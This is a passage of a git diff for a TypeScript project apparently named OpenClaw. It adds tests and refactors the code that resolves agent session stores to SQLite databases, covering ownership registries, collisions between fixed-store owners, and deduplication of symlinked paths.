"./targets.js"; + +describe("known session store owners", () => { + it("includes a retired owner registered under the active shared store", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(stateDir, "shared", "sessions.json"); + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { ops: { default: true } } }, + }; + + await replaceSessionEntry( + { + agentId: "retired", + env, + storePath, + sessionKey: "agent:retired:cron:old:run:expired", + }, + { sessionId: "retired-session", updatedAt: 1 }, + ); + + expect(listKnownSessionStoreAgentIds(cfg, { env }).toSorted()).toEqual(["ops", "retired"]); + }); + }); + + it("keeps a retired fixed-store owner after its registry row is removed", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(stateDir, "shared", "sessions.json"); + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { ops: { default: true } } }, + }; + + await replaceSessionEntry( + { + agentId: "retired", + defaultAgentId: "retired", + env, + storePath, + sessionKey: "agent:retired:cron:old:run:expired", + }, + { sessionId: "retired-session", updatedAt: 1 }, + ); + const retiredDatabasePath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "retired", + defaultAgentId: "retired", + env, + }).path; + unregisterOpenClawAgentDatabase({ agentId: "retired", env, path: retiredDatabasePath }); + + expect(listKnownSessionStoreAgentIds(cfg, { env }).toSorted()).toEqual(["ops", "retired"]); + }); + }); + + it("finds a retired owner in a durable suffixed sibling without a registry row", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(stateDir, "shared", "sessions.json"); + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { ops: { default: true } } }, + }; + + await replaceSessionEntry( + { + agentId: "retired", + defaultAgentId: "ops", + env, + storePath, + sessionKey: "agent:retired:cron:old:run:suffixed", + }, + { sessionId: "retired-suffixed-session", updatedAt: 1 }, + ); + const retiredDatabasePath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "retired", + defaultAgentId: "ops", + env, + }).path; + expect(path.basename(retiredDatabasePath)).toBe("openclaw-agent.retired.sqlite"); + unregisterOpenClawAgentDatabase({ agentId: "retired", env, path: retiredDatabasePath }); + + expect(listKnownSessionStoreAgentIds(cfg, { env }).toSorted()).toEqual(["ops", "retired"]); + }); + }); +}); diff --git a/src/config/sessions/targets.test.ts b/src/config/sessions/targets.test.ts index ceeff0bbc702..a79bcf751bb4 100644 --- a/src/config/sessions/targets.test.ts +++ b/src/config/sessions/targets.test.ts @@ -3,10 +3,17 @@ import fs from "node:fs/promises"; import path from "node:path"; import { withTempHome } from "openclaw/plugin-sdk/test-env"; import { describe, expect, it } from "vitest"; +import { + registerOpenClawAgentDatabase, + unregisterOpenClawAgentDatabase, +} from "../../state/openclaw-agent-db-registry.js"; +import { resolveOpenClawStateSqlitePath } from "../../state/openclaw-state-db.paths.js"; import type { OpenClawConfig } from "../config.js"; import { resolveStorePath } from "./paths.js"; -import { replaceSessionEntry } from "./session-accessor.js"; +import { listSessionEntriesReadOnly, replaceSessionEntry } from "./session-accessor.js"; +import { resolveSqliteTargetFromSessionStorePath } from "./session-sqlite-target.js"; import { + dedupeSessionStoreTargetsBySqliteTarget, resolveAgentSessionStoreTargetsSync, resolveAllAgentSessionStoreCandidateTargetsSync, resolveAllAgentSessionStoreTargetsSync, @@ -14,6 +21,10 @@ import { resolveSessionStoreTargets, } from "./targets.js"; +const EXPLICIT_MAIN_CONFIG: OpenClawConfig = { + agents: { list: [{ id: "main", default: true }] }, +}; + async function resolveRealStorePath(sessionsDir: string): Promise { return path.resolve(path.join(sessionsDir, "sessions.json")); } @@ -164,20 +175,388 @@ describe("resolveSessionStoreTargets", () => { ]); }); + it("keeps a colliding fixed-store target on the configured default", async () => { + await withTempHome(async (home) => { + const env = { ...process.env, OPENCLAW_STATE_DIR: path.join(home, ".openclaw") }; + const storePath = path.join(home, "ops.json"); + const diagnostics: string[] = []; + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { main: { default: true }, ops: {} } }, + }; + + expect(resolveSessionStoreTargets(cfg, { allAgents: true }, { env, diagnostics })).toEqual([ + { agentId: "main", storePath }, + { agentId: "ops", storePath }, + ]); + expect(diagnostics).toContainEqual(expect.stringContaining('suffixed owner(s): "ops"')); + }); + }); + + it("lands colliding fixed-store writes in distinct owner databases", async () => { + await withTempHome(async (home) => { + const env = { ...process.env, OPENCLAW_STATE_DIR: path.join(home, ".openclaw") }; + const storePath = path.join(home, "ops.json"); + + await replaceSessionEntry( + { + agentId: "main", + defaultAgentId: "main", + env, + storePath, + sessionKey: "agent:main:main", + }, + { sessionId: "main-session", updatedAt: 1 }, + ); + await replaceSessionEntry( + { + agentId: "ops", + defaultAgentId: "main", + env, + storePath, + sessionKey: "agent:ops:main", + }, + { sessionId: "ops-session", updatedAt: 2 }, + ); + + const mainPath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "main", + defaultAgentId: "main", + env, + }).path; + const opsPath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "ops", + defaultAgentId: "main", + env, + }).path; + expect(mainPath).not.toBe(opsPath); + await expect(fs.stat(mainPath)).resolves.toBeDefined(); + await expect(fs.stat(opsPath)).resolves.toBeDefined(); + expect( + listSessionEntriesReadOnly({ + agentId: "main", + defaultAgentId: "main", + env, + storePath, + }).map(({ sessionKey }) => sessionKey), + ).toEqual(["agent:main:main"]); + expect( + listSessionEntriesReadOnly({ + agentId: "ops", + defaultAgentId: "main", + env, + storePath, + }).map(({ sessionKey }) => sessionKey), + ).toEqual(["agent:ops:main"]); + }); + }); + + it("keeps a promoted default on its registered suffixed database", async () => { + await withTempHome(async (home) => { + const env = { ...process.env, OPENCLAW_STATE_DIR: path.join(home, ".openclaw") }; + const storePath = path.join(home, "shared.json"); + await replaceSessionEntry( + { + agentId: "worker", + defaultAgentId: "main", + env, + storePath, + sessionKey: "agent:worker:main", + }, + { model: "before-promotion", sessionId: "worker-session", updatedAt: 1 }, + ); + const beforePromotionPath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + env, + }).path; + + await replaceSessionEntry( + { + agentId: "worker", + defaultAgentId: "worker", + env, + storePath, + sessionKey: "agent:worker:main", + }, + { model: "after-promotion", sessionId: "worker-session", updatedAt: 2 }, + ); + const afterPromotionPath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "worker", + env, + }).path; + + expect(afterPromotionPath).toBe(beforePromotionPath); + expect(afterPromotionPath).toBe(path.join(home, "shared.worker.sqlite")); + await expect(fs.stat(path.join(home, "shared.sqlite"))).rejects.toThrow(); + expect( + listSessionEntriesReadOnly({ + agentId: "worker", + defaultAgentId: "worker", + env, + storePath, + }), + ).toEqual([ + { + sessionKey: "agent:worker:main", + entry: expect.objectContaining({ + model: "after-promotion", + sessionId: "worker-session", + }), + }, + ]); + }); + }); + + it("does not let durable metadata override ambiguous suffix registration", async () => { + await withTempHome(async (home) => { + const env = { ...process.env, OPENCLAW_STATE_DIR: path.join(home, ".openclaw") }; + const storePath = path.join(home, "shared.json"); + await replaceSessionEntry( + { + agentId: "worker", + defaultAgentId: "main", + env, + storePath, + sessionKey: "agent:worker:main", + }, + { sessionId: "worker-session", updatedAt: 1 }, + ); + const occupiedPath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + env, + }).path; + registerOpenClawAgentDatabase({ agentId: "ops", env, path: occupiedPath }); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "worker", + defaultAgentId: "main", + env, + }).path, + ).toBe(path.join(home, "shared.worker.2.sqlite")); + }); + }); + + it.runIf(process.platform !== "win32")( + "deduplicates aliased SQLite locators by physical identity", + async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const realDir = path.join(home, "real-stores"); + const aliasDir = path.join(home, "alias-stores"); + await fs.mkdir(realDir, { recursive: true }); + await fs.symlink(realDir, aliasDir, "dir"); + const diagnostics: string[] = []; + + expect( + dedupeSessionStoreTargetsBySqliteTarget( + [ + { agentId: "main", storePath: path.join(realDir, "shared.sqlite") }, + { agentId: "ops", storePath: path.join(aliasDir, "shared.sqlite") }, + ], + { + defaultAgentId: "main", + env, + onDiagnostic: (diagnostic) => diagnostics.push(diagnostic.message), + }, + ), + ).toEqual([{ agentId: "main", storePath: path.join(realDir, "shared.sqlite") }]); + expect(diagnostics).toContainEqual(expect.stringContaining('ignored owner(s): "ops"')); + }); + }, + ); + + it("honors a registered owner over the configured default for a fixed-store collision", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(home, "ops.json"); + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { main: { default: true }, ops: {} } }, + }; + const unsuffixedPath = resolveSqliteTargetFromSessionStorePath(storePath).path; + registerOpenClawAgentDatabase({ agentId: "ops", env, path: unsuffixedPath }); + await replaceSessionEntry( + { + agentId: "ops", + defaultAgentId: "main", + env, + storePath, + sessionKey: "main", + }, + { sessionId: "ops-session", updatedAt: 1 }, + ); + const diagnostics: string[] = []; + + expect(resolveSessionStoreTargets(cfg, { allAgents: true }, { env, diagnostics })).toEqual([ + { agentId: "main", storePath }, + { agentId: "ops", storePath }, + ]); + expect(diagnostics).toContainEqual( + expect.stringContaining('owner "ops" selected by database-registry'), + ); + expect(resolveExistingAgentSessionStoreTargetsSync(cfg, "main", { env })).toEqual([]); + }); + }); + + it("honors durable database ownership after its registry row is removed", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(home, "ops.json"); + await replaceSessionEntry( + { + agentId: "ops", + defaultAgentId: "ops", + env, + storePath, + sessionKey: "agent:ops:main", + }, + { sessionId: "ops-session", updatedAt: 1 }, + ); + const unsuffixedPath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "ops", + defaultAgentId: "ops", + env, + }).path; + unregisterOpenClawAgentDatabase({ agentId: "ops", env, path: unsuffixedPath }); + + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "ops", + defaultAgentId: "main", + env, + }).path, + ).toBe(unsuffixedPath); + expect( + resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "main", + defaultAgentId: "main", + env, + }).path, + ).toBe(path.join(home, "ops.main.sqlite")); + + const diagnostics: string[] = []; + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { main: { default: true }, ops: {} } }, + }; + expect(resolveSessionStoreTargets(cfg, { allAgents: true }, { env, diagnostics })).toEqual([ + { agentId: "main", storePath }, + { agentId: "ops", storePath }, + ]); + expect(diagnostics).toContainEqual( + expect.stringContaining('owner "ops" selected by database-path'), + ); + }); + }); + + it("does not let a scoped losing owner claim an unregistered fixed-store database", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(home, "ops.json"); + const databasePath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: "main", + }).path; + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { main: { default: true }, ops: {} } }, + }; + await replaceSessionEntry( + { agentId: "main", env, storePath, sessionKey: "main" }, + { sessionId: "main-session", updatedAt: 1 }, + ); + unregisterOpenClawAgentDatabase({ agentId: "main", env, path: databasePath }); + + expect(resolveExistingAgentSessionStoreTargetsSync(cfg, "ops", { env })).toEqual([]); + expect(resolveExistingAgentSessionStoreTargetsSync(cfg, "main", { env })).toEqual([ + { agentId: "main", storePath }, + ]); + }); + }); + + it("keeps ambiguous registry ownership off the unsuffixed target", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(home, "ops.json"); + const databasePath = resolveSqliteTargetFromSessionStorePath(storePath).path; + registerOpenClawAgentDatabase({ agentId: "ops", env, path: databasePath }); + registerOpenClawAgentDatabase({ agentId: "main", env, path: databasePath }); + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { main: { default: true }, ops: {} } }, + }; + const diagnostics: string[] = []; + + expect(resolveSessionStoreTargets(cfg, { allAgents: true }, { env, diagnostics })).toEqual([ + { agentId: "main", storePath }, + { agentId: "ops", storePath }, + ]); + expect(diagnostics).toContainEqual( + expect.stringContaining("registry ownership is ambiguous"), + ); + }); + }); + + it("prefers a canonical database-path owner over a conflicting registry row", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const storePath = path.join(stateDir, "agents", "main", "sessions", "sessions.json"); + const databasePath = resolveSqliteTargetFromSessionStorePath(storePath).path; + registerOpenClawAgentDatabase({ agentId: "ops", env, path: databasePath }); + const cfg: OpenClawConfig = { + session: { store: storePath }, + agents: { entries: { main: { default: true }, ops: {} } }, + }; + + expect(resolveSessionStoreTargets(cfg, { allAgents: true }, { env })).toEqual([ + { agentId: "main", storePath }, + ]); + }); + }); + + it("fails closed when the ownership registry cannot be read", async () => { + await withTempHome(async (home) => { + const stateDir = path.join(home, ".openclaw"); + const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; + const registryPath = resolveOpenClawStateSqlitePath(env); + await fs.mkdir(path.dirname(registryPath), { recursive: true }); + await fs.writeFile(registryPath, "not a sqlite database", "utf-8"); + const cfg: OpenClawConfig = { + session: { store: path.join(home, "ops.json") }, + agents: { entries: { main: { default: true }, ops: {} } }, + }; + + expect(() => resolveSessionStoreTargets(cfg, { allAgents: true }, { env })).toThrow(); + }); + }); + it("uses the path-owned agent id for explicit agent store paths", async () => { await withTempHome(async (home) => { const stateDir = path.join(home, ".openclaw"); const storePaths = await createAgentSessionStores(stateDir, ["codex-proof"]); const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; - expect(resolveSessionStoreTargets({}, { store: storePaths["codex-proof"] }, { env })).toEqual( - [ - { - agentId: "codex-proof", - storePath: storePaths["codex-proof"], - }, - ], - ); + expect( + resolveSessionStoreTargets( + EXPLICIT_MAIN_CONFIG, + { store: storePaths["codex-proof"] }, + { env }, + ), + ).toEqual([ + { + agentId: "codex-proof", + storePath: storePaths["codex-proof"], + }, + ]); }); }); @@ -185,7 +564,7 @@ describe("resolveSessionStoreTargets", () => { await withTempHome(async (home) => { const storePath = path.join(home, "backups", "sessions", "sessions.json"); - expect(resolveSessionStoreTargets({}, { store: storePath })).toEqual([ + expect(resolveSessionStoreTargets(EXPLICIT_MAIN_CONFIG, { store: storePath })).toEqual([ { agentId: "main", storePath, @@ -194,6 +573,21 @@ describe("resolveSessionStoreTargets", () => { }); }); + it("accepts case-insensitive legacy main paths but rejects aliases", () => { + const cfg: OpenClawConfig = { agents: { list: [{ id: "ops", default: true }] } }; + const mainPath = path.resolve("/tmp/agents/Main/sessions/sessions.json"); + + expect(resolveSessionStoreTargets(cfg, { store: mainPath })).toEqual([ + { agentId: "main", storePath: mainPath }, + ]); + for (const alias of ["main!", "main "]) { + const storePath = path.resolve("/tmp/agents", alias, "sessions", "sessions.json"); + expect(resolveSessionStoreTargets(cfg, { store: storePath })).toEqual([ + { agentId: "ops", storePath }, + ]); + } + }); + it("rejects unknown agent ids", () => { const cfg: OpenClawConfig = { agents: { @@ -451,7 +845,7 @@ describe("resolveAllAgentSessionStoreTargetsSync", () => { ...process.env, OPENCLAW_STATE_DIR: envStateDir, }; - const cfg: OpenClawConfig = {}; + const cfg: OpenClawConfig = EXPLICIT_MAIN_CONFIG; const mainStorePath = await resolveRealStorePath(mainSessionsDir); const retiredStorePath = await resolveRealStorePath(retiredSessionsDir); @@ -522,8 +916,12 @@ describe("resolveAllAgentSessionStoreTargetsSync", () => { const stateDir = path.join(home, ".openclaw"); const mainSessionsDir = path.join(stateDir, "agents", "main", "sessions"); const junkSessionsDir = path.join(stateDir, "agents", "###", "sessions"); + const collisionSessionsDir = path.join(stateDir, "agents", "main!", "sessions"); + const whitespaceSessionsDir = path.join(stateDir, "agents", "main ", "sessions"); await fs.mkdir(mainSessionsDir, { recursive: true }); await fs.mkdir(junkSessionsDir, { recursive: true }); + await fs.mkdir(collisionSessionsDir, { recursive: true }); + await fs.mkdir(whitespaceSessionsDir, { recursive: true }); await replaceSessionEntry( { storePath: path.join(mainSessionsDir, "sessions.json"), sessionKey: "main" }, { sessionId: "sid-main", updatedAt: Date.now() }, @@ -536,8 +934,24 @@ describe("resolveAllAgentSessionStoreTargetsSync", () => { }, { sessionId: "sid-junk", updatedAt: Date.now() }, ); + await replaceSessionEntry( + { + agentId: "main", + storePath: path.join(collisionSessionsDir, "sessions.json"), + sessionKey: "main", + }, + { sessionId: "sid-collision", updatedAt: Date.now() }, + ); + await replaceSessionEntry( + { + agentId: "main", + storePath: path.join(whitespaceSessionsDir, "sessions.json"), + sessionKey: "main", + }, + { sessionId: "sid-whitespace", updatedAt: Date.now() }, + ); - const cfg: OpenClawConfig = {}; + const cfg: OpenClawConfig = EXPLICIT_MAIN_CONFIG; const mainStorePath = await resolveRealStorePath(mainSessionsDir); const targets = resolveAllAgentSessionStoreTargetsSync(cfg, { env: process.env }); @@ -550,6 +964,16 @@ describe("resolveAllAgentSessionStoreTargetsSync", () => { expect( targets.some((target) => target.storePath === path.join(junkSessionsDir, "sessions.json")), ).toBe(false); + expect( + targets.some( + (target) => target.storePath === path.join(collisionSessionsDir, "sessions.json"), + ), + ).toBe(false); + expect( + targets.some( + (target) => target.storePath === path.join(whitespaceSessionsDir, "sessions.json"), + ), + ).toBe(false); }); }); }); @@ -577,7 +1001,9 @@ describe("resolveAllAgentSessionStoreCandidateTargetsSync", () => { await fs.mkdir(retiredAgentDir, { recursive: true }); const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; - expect(resolveAllAgentSessionStoreCandidateTargetsSync({}, { env })).toContainEqual({ + expect( + resolveAllAgentSessionStoreCandidateTargetsSync(EXPLICIT_MAIN_CONFIG, { env }), + ).toContainEqual({ agentId: "retired", storePath: path.join(retiredAgentDir, "sessions", "sessions.json"), }); @@ -597,7 +1023,9 @@ describe("resolveAllAgentSessionStoreCandidateTargetsSync", () => { await fs.symlink(outsideSessionsDir, path.join(agentDir, "sessions")); const env = { ...process.env, OPENCLAW_STATE_DIR: stateDir }; - expect(resolveAllAgentSessionStoreCandidateTargetsSync({}, { env })).not.toContainEqual({ + expect( + resolveAllAgentSessionStoreCandidateTargetsSync(EXPLICIT_MAIN_CONFIG, { env }), + ).not.toContainEqual({ agentId: "retired", storePath: path.join(agentDir, "sessions", "sessions.json"), }); diff --git a/src/config/sessions/targets.ts b/src/config/sessions/targets.ts index 7bf8ab2e8856..766866bcf678 100644 --- a/src/config/sessions/targets.ts +++ b/src/config/sessions/targets.ts @@ -1,20 +1,34 @@ // Session store target discovery maps configured and on-disk agent stores to canonical targets. import fsSync from "node:fs"; import path from "node:path"; -import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; -import { listAgentIds, resolveDefaultAgentId } from "../../agents/agent-scope.js"; +import { listAgentEntries, listAgentIds, resolveDefaultAgentId } from "../../agents/agent-scope.js"; import { resolveAgentSessionDirsFromAgentsDirSync } from "../../agents/session-dirs.js"; import { - DEFAULT_AGENT_ID, + isValidAgentId, + LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId, parseAgentSessionKey, } from "../../routing/session-key.js"; import { withOpenClawAgentDatabaseReadOnly } from "../../state/openclaw-agent-db-readonly.js"; +import { + isSameOpenClawAgentDatabasePath, + listOpenClawRegisteredAgentDatabases, +} from "../../state/openclaw-agent-db-registry.js"; import { resolveStateDir } from "../paths.js"; import type { OpenClawConfig } from "../types.openclaw.js"; import { resolveAgentsDirFromSessionStorePath, resolveStorePath } from "./paths.js"; import { readSqliteSessionEntryKeys } from "./session-accessor.sqlite-entry-store.js"; -import { resolveSqliteTargetFromSessionStorePath } from "./session-sqlite-target.js"; +import { + listDurableSqliteTargetOwnersForSessionStorePath, + resolveSqliteTargetFromSessionStorePath, +} from "./session-sqlite-target.js"; +import { + dedupeSessionStoreTargetsBySqliteTarget, + type SessionStoreTarget, +} from "./targets-collision.js"; + +export type { SessionStoreTarget } from "./targets-collision.js"; +export { dedupeSessionStoreTargetsBySqliteTarget } from "./targets-collision.js"; /** CLI/session-store target selection options. */ export type SessionStoreSelectionOptions = { @@ -23,12 +37,6 @@ export type SessionStoreSelectionOptions = { allAgents?: boolean; }; -/** One session store path paired with its owning agent id. */ -export type SessionStoreTarget = { - agentId: string; - storePath: string; -}; - const NON_FATAL_DISCOVERY_ERROR_CODES = new Set([ "EACCES", "ELOOP", @@ -48,19 +56,6 @@ function dedupeTargetsByStorePath(targets: SessionStoreTarget[]): SessionStoreTa return [...deduped.values()]; } -function dedupeTargetsBySqliteTarget(targets: SessionStoreTarget[]): SessionStoreTarget[] { - const deduped = new Map(); - for (const target of targets) { - const sqlitePath = - resolveSqliteTargetFromSessionStorePath(target.storePath, { agentId: target.agentId }).path ?? - target.storePath; - if (!deduped.has(sqlitePath)) { - deduped.set(sqlitePath, target); - } - } - return [...deduped.values()]; -} - function shouldSkipDiscoveryError(err: unknown): boolean { const code = (err as NodeJS.ErrnoException | undefined)?.code; return typeof code === "string" && NON_FATAL_DISCOVERY_ERROR_CODES.has(code); @@ -71,11 +66,10 @@ function isWithinRoot(realPath: string, realRoot: string): boolean { } function shouldSkipDiscoveredAgentDirName(dirName: string, agentId: string): boolean { - // Avoid collapsing arbitrary directory names like "###" into the default main agent. - // Human-friendly names like "Retired Agent" are still allowed because they normalize to - // a non-default stable id and preserve the intended retired-store discovery behavior. return ( - agentId === DEFAULT_AGENT_ID && normalizeLowercaseStringOrEmpty(dirName) !== DEFAULT_AGENT_ID + !/[a-z0-9]/i.test(dirName) || + !isValidAgentId(agentId) || + (agentId === LEGACY_IMPLICIT_AGENT_ID && dirName.toLowerCase() !== LEGACY_IMPLICIT_AGENT_ID) ); } @@ -116,8 +110,7 @@ export function listConfiguredSessionStoreAgentIds(cfg: OpenClawConfig): string[ for (const agentId of cfg.acp?.allowedAgents ?? []) { addAcpAgentId(agentId); } - const configuredAgents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; - for (const agent of configuredAgents) { + for (const agent of listAgentEntries(cfg)) { if (agent.runtime?.type === "acp") { addAcpAgentId(agent.runtime.acp?.agent ?? agent.id); } @@ -126,6 +119,68 @@ export function listConfiguredSessionStoreAgentIds(cfg: OpenClawConfig): string[ return [...ids]; } +/** Lists configured owners plus persisted owners whose registered DB still matches this store. */ +export function listKnownSessionStoreAgentIds( + cfg: OpenClawConfig, + params: { env?: NodeJS.ProcessEnv } = {}, +): string[] { + const env = params.env ?? process.env; + const defaultAgentId = resolveDefaultAgentId(cfg); + const ids = new Set(listConfiguredSessionStoreAgentIds(cfg)); + if (!isPerAgentSessionStoreConfig(cfg.session?.store)) { + const storePath = resolveStorePath(cfg.session?.store, { agentId: defaultAgentId, env }); + const durableTarget = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId: defaultAgentId, + defaultAgentId, + env, + }); + // Fixed stores can outlive their registry row. Preserve the database-recorded + // owner so combined views and reapers do not drop a retired agent's live sessions. + if (durableTarget.unsuffixedOwnerAgentId) { + ids.add(normalizeAgentId(durableTarget.unsuffixedOwnerAgentId)); + } else if (durableTarget.ownerSource === "database-path" && durableTarget.agentId) { + ids.add(normalizeAgentId(durableTarget.agentId)); + } + // Retired owners may survive only in suffixed fixed-store databases after + // their registry rows are removed. Scan this store's exact sibling family. + for (const durableOwner of listDurableSqliteTargetOwnersForSessionStorePath(storePath)) { + ids.add(normalizeAgentId(durableOwner)); + } + if (durableTarget.shared && durableTarget.agentId && fsSync.existsSync(durableTarget.path)) { + try { + const logicalOwners = withOpenClawAgentDatabaseReadOnly( + (database) => + readSqliteSessionEntryKeys(database).flatMap((sessionKey) => { + const parsed = parseAgentSessionKey(sessionKey); + return parsed ? [normalizeAgentId(parsed.agentId)] : []; + }), + { agentId: durableTarget.agentId, env, path: durableTarget.path }, + ); + if (logicalOwners.found) { + for (const logicalOwner of logicalOwners.value) { + ids.add(logicalOwner); + } + } + } catch { + // Best-effort discovery: unreadable stores remain owned by their normal diagnostics path. + } + } + } + for (const registered of listOpenClawRegisteredAgentDatabases({ env })) { + const agentId = normalizeAgentId(registered.agentId); + const storePath = resolveStorePath(cfg.session?.store, { agentId, env }); + const expectedPath = resolveSqliteTargetFromSessionStorePath(storePath, { + agentId, + defaultAgentId, + env, + }).path; + if (isSameOpenClawAgentDatabasePath(registered.path, expectedPath)) { + ids.add(agentId); + } + } + return [...ids]; +} + /** Checks whether an agent is configured to own a session store. */ export function isConfiguredSessionStoreAgentId(cfg: OpenClawConfig, agentId: string): boolean { const normalizedAgentId = normalizeAgentId(agentId); @@ -345,7 +400,10 @@ export function resolveAllAgentSessionStoreTargetsSync( throw err; } }); - return dedupeTargetsBySqliteTarget([...validatedConfiguredTargets, ...discoveredTargets]); + return dedupeSessionStoreTargetsBySqliteTarget( + [...validatedConfiguredTargets, ...discoveredTargets], + { defaultAgentId: resolveDefaultAgentId(cfg), env }, + ); } /** Resolves only already-existing stores for one configured, retired, or manual agent. */ @@ -357,25 +415,50 @@ export function resolveExistingAgentSessionStoreTargetsSync( const env = params.env ?? process.env; const requested = normalizeAgentId(agentId); const storeConfig = cfg.session?.store; + const defaultAgentId = resolveDefaultAgentId(cfg); if (!isPerAgentSessionStoreConfig(storeConfig)) { const fixedTarget = { agentId: requested, storePath: resolveStorePath(storeConfig, { agentId: requested, env }), }; - const sqlitePath = resolveSqliteTargetFromSessionStorePath(fixedTarget.storePath, { + const configuredTargets = listConfiguredSessionStoreAgentIds(cfg).map((configuredAgentId) => ({ + agentId: configuredAgentId, + storePath: resolveStorePath(storeConfig, { agentId: configuredAgentId, env }), + })); + if (!configuredTargets.some((target) => normalizeAgentId(target.agentId) === requested)) { + configuredTargets.push(fixedTarget); + } + const resolvedTarget = resolveSqliteTargetFromSessionStorePath(fixedTarget.storePath, { agentId: requested, - }).path; + defaultAgentId, + env, + }); + if ( + !resolvedTarget.shared && + !dedupeSessionStoreTargetsBySqliteTarget(configuredTargets, { + defaultAgentId, + env, + }).some((target) => normalizeAgentId(target.agentId) === requested) + ) { + return []; + } + const sqlitePath = resolvedTarget.path; if (sqlitePath && fsSync.existsSync(sqlitePath)) { try { + const databaseAgentId = resolvedTarget.shared + ? normalizeAgentId(resolvedTarget.agentId ?? defaultAgentId) + : requested; const result = withOpenClawAgentDatabaseReadOnly( (database) => readSqliteSessionEntryKeys(database).some((sessionKey) => { const parsed = parseAgentSessionKey(sessionKey); // Unscoped keys belong to the validated database owner. Explicit agent keys must // match so a fixed store containing only another agent's rows proves nothing. - return !parsed || normalizeAgentId(parsed.agentId) === requested; + return parsed + ? normalizeAgentId(parsed.agentId) === requested + : databaseAgentId === requested; }), - { agentId: requested, env, path: sqlitePath }, + { agentId: databaseAgentId, env, path: sqlitePath }, ); return result.found && result.value ? [fixedTarget] : []; } catch { @@ -400,10 +483,10 @@ export function resolveExistingAgentSessionStoreTargetsSync( }, ); const validatedRequestedTarget = resolveValidatedExistingSessionStoreTargetSync(requestedTarget); - return dedupeTargetsBySqliteTarget([ - ...(validatedRequestedTarget ? [validatedRequestedTarget] : []), - ...discoveredTargets, - ]); + return dedupeSessionStoreTargetsBySqliteTarget( + [...(validatedRequestedTarget ? [validatedRequestedTarget] : []), ...discoveredTargets], + { defaultAgentId, env }, + ); } /** @@ -479,7 +562,10 @@ export function resolveAllAgentSessionStoreCandidateTargetsSync( throw err; } }); - return dedupeTargetsBySqliteTarget([...validatedConfiguredTargets, ...discoveredTargets]); + return dedupeSessionStoreTargetsBySqliteTarget( + [...validatedConfiguredTargets, ...discoveredTargets], + { defaultAgentId: resolveDefaultAgentId(cfg), env }, + ); } /** Resolves session store targets for one agent, including retired/manual stores. */ @@ -572,10 +658,9 @@ export function resolveAgentSessionStoreTargetsSync( export function resolveSessionStoreTargets( cfg: OpenClawConfig, opts: SessionStoreSelectionOptions, - params: { env?: NodeJS.ProcessEnv } = {}, + params: { env?: NodeJS.ProcessEnv; diagnostics?: string[] } = {}, ): SessionStoreTarget[] { const env = params.env ?? process.env; - const defaultAgentId = resolveDefaultAgentId(cfg); const hasAgent = Boolean(opts.agent?.trim()); const allAgents = opts.allAgents === true; if (hasAgent && allAgents) { @@ -584,6 +669,7 @@ export function resolveSessionStoreTargets( if (opts.store && (hasAgent || allAgents)) { throw new Error("--store cannot be combined with --agent or --all-agents"); } + const defaultAgentId = resolveDefaultAgentId(cfg); if (opts.store) { return [resolveExplicitSessionStoreTarget({ defaultAgentId, env, store: opts.store })]; @@ -594,7 +680,13 @@ export function resolveSessionStoreTargets( agentId, storePath: resolveStorePath(cfg.session?.store, { agentId, env }), })); - return dedupeTargetsBySqliteTarget(targets); + return dedupeSessionStoreTargetsBySqliteTarget(targets, { + defaultAgentId, + env, + ...(params.diagnostics + ? { onDiagnostic: (diagnostic) => params.diagnostics?.push(diagnostic.message) } + : {}), + }); } if (hasAgent) { diff --git a/src/config/sessions/transcript.test.ts b/src/config/sessions/transcript.test.ts index ef25302329c5..8c165998a545 100644 --- a/src/config/sessions/transcript.test.ts +++ 